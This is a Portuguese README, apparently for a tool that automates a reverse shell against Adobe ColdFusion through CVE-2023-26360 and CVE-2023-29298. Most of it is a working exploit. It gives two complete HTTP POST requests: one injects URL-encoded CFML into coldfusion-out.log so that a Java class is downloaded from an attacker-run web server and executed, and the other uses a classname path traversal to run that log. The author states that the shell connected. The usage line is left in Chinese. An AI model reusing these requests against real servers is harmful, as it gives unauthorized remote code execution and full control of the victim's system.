
Adobe ColdFusion CVE-2023-26360/CVE-2023-29298 Automação de Reverse Shell
Ferramenta de reverse shell para exploração das vulnerabilidades CVE-2023-29298/CVE-2023-26360
O princípio da vulnerabilidade é que os dados que construímos nas requisições de clientes CFML são salvos no coldfusion-out.log do servidor. Esse arquivo registra as informações de erros das requisições, e o arquivo coldfusion-out.log contém o código que escrevemos. Em seguida, usamos classname para ler e executar esse arquivo de log, alcançando a execução de código.
Aqui tenho uma ideia: colocar uma classe maliciosa no servidor, baixar, salvar e invocar esse arquivo de classe. Através dessa vulnerabilidade, a classe é carregada dinamicamente para chamar e executar nosso arquivo de classe.
Escrevi um script que gera um pacote compactado. Dentro do pacote, no diretório code:
utilize
├── address
└── Poc.class
O Poc.java contém principalmente o código do reverse shell.
O address armazena o endereço e a porta.
Implementar isso manualmente é extremamente trabalhoso, então escrevi uma ferramenta de geração automatizada que constrói o bytecode Java, define o IP e a porta do reverse shell e inicia o servidor web.
工具名称 -host 指定反弹IP -port 指定反弹端口 -p 指定http端口(默认8888)

Dê uma olhada

Depois, solicitamos a gravação do código de erro no log. Na parte do corpo do POST abaixo, altere http://192.168.191.58:8888/GjfZgo para o endereço onde o serviço está em execução.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
Em seguida, execute o código dentro do log; ele é fixo e pode ser enviado diretamente.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
Execute e veja: o shell conectou com sucesso.

\1. Esta ferramenta de segurança destina-se exclusivamente a fins de pesquisa técnica e educação. Ao utilizá-la, respeite as leis, regulamentos e princípios éticos aplicáveis.
\2. Esta ferramenta pode envolver testes de vulnerabilidades de segurança e testes de penetração, mas utilize-a somente dentro do escopo autorizado; caso contrário, o autor não tem relação com o uso.
\3. O uso desta ferramenta pode envolver certos riscos e incertezas. O usuário deve assumir os riscos decorrentes do uso da ferramenta.
\4. Os usuários desta ferramenta assumem todos os riscos e responsabilidades. O desenvolvedor não se responsabiliza por quaisquer consequências resultantes do uso desta ferramenta.